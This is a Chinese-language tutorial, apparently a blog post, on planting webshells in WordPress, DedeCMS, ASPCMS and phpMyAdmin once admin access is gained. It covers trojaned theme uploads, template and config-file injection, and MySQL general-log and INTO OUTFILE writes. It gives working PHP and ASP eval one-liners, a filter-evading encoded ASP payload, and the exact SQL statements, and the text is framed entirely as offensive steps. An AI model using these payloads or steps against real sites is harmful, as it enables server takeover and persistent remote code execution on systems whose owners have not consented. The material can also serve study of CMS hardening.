常见cms获取Shell漏洞(Wordpress、dedecms、ASPCMS、PhpMyadmin)
WordPress
我们可以通过上传模板以及后台修改模板文件来获取Webshell
上传模板
在Apperance下的Themes存在一个上传模板的位置,该位置只允许上传zip文件,那么我们直接搜索一个该cms的模板并将一句话木马写到zip文件中然后上传上来
https://www.aigei.com/ui/web/word_press_template? wordpress模板的下载位置
接着上传完成后我们要获取我们上传的模板的位置,点开我们刚才上传的模板,存在一张预览图,是我们刚才压缩包中的图片,我们查看该图片的位置
就获取了模板上传的位置,我们的木马与该图片在同级目录下,我们直接访问木马,没有报错,说明正确,然后蚁剑直接连接即可
关于获取上传模板的位置,还可以安装一个同cms的网站来查看模板存放的位置,或者直接搜索该cms模板存放的位置
后台修改模板文件
在Apperance下的Editor页面,那么我们还可以在该页面看到,右侧有许多的该模板的PHP文件我们也可以进行修改,我们直接将木马写到这些PHP文件中,然后进行连接
dedecms
文件管理器
我们登陆后台之后,来到核心-文件式管理器,发现存在新建文件与上传文件的功能,那么我们分别进行新建/上传一句话木马到指定目录,然后再进行连接
模块下的文件管理器也存在新建文件与上传文件的功能,同样可以实现获取shell
修改模板文件
我们在生成下的更新主页HTML发现可以修改主页位置,那么我们将原本的index.html修改为index.php,然后将首页模式选择为生成静态,然后我们去修改主页的模板 index.htm,向index.htm中添加一句话木马
后台任意命令执行
来到模块下的广告管理中,我们点击增加一个新广告后,发现广告内容它提示我们支持html代码,那么我们就可以将一句话木马写入到广告内容之中
后台sql命令执行
ASPCMS
后台修改配置文件
登录到后台后,我们来到扩展功能的幻灯片设置,打开代理,点击保存进行抓包,在slideTextStatus后面添加%25><%25Eval(Request (chr(65)))%25><%25 ,%25是因为正常的%会被过滤,所以我们使用%25代替,使用chr(65)的原因是 如果是("a")的话,那么双引号也会被转义,所以我们直接使用chr(65)来代替a
发包后我们可以在配置文件中看到我们抓包修改的数据已经上传到了配置文件中
我们使用菜刀进行连接
http://192.168.171.131/config/AspCms_Config.asp a
PhPMyadmin
通过日志拿Shell
我们安装了PhPMyadmin之后,点击SQL页面就可以来执行SQL代码,我们需要先将日志保存状态设置为开启,然后重新设置一个日志的保存文件
show global variables like '%general%';
set global general_log='on';
set global general_log_file = 'C:/phpstudy_pro/WWW/sql_log.php'
show global variables like '%general%';
修改完成后,我们以后的每一次sql操作都会被记录到指定的日志文件中
那么我们直接执行一次 查询一句话木马来将木马写入到日志文件中
select '<?php eval($_POST["cmd"]);?>'
我们查看我们的日志文件,会发现木马已经被记录到了日志文件中,然后直接连接shell即可
通过into outfile写入shell
我们也可以直接来使用into outfile 写入一句话木马到一个文件中
(如果不知道网站根目录的话,那么可以使用@@datadir来获取数据库的安装路径,然后来猜解网站根目录)
select '<?php eval($_POST["cmd"]);?>' into outfile 'C:/phpstudy_pro/WWW/test.php'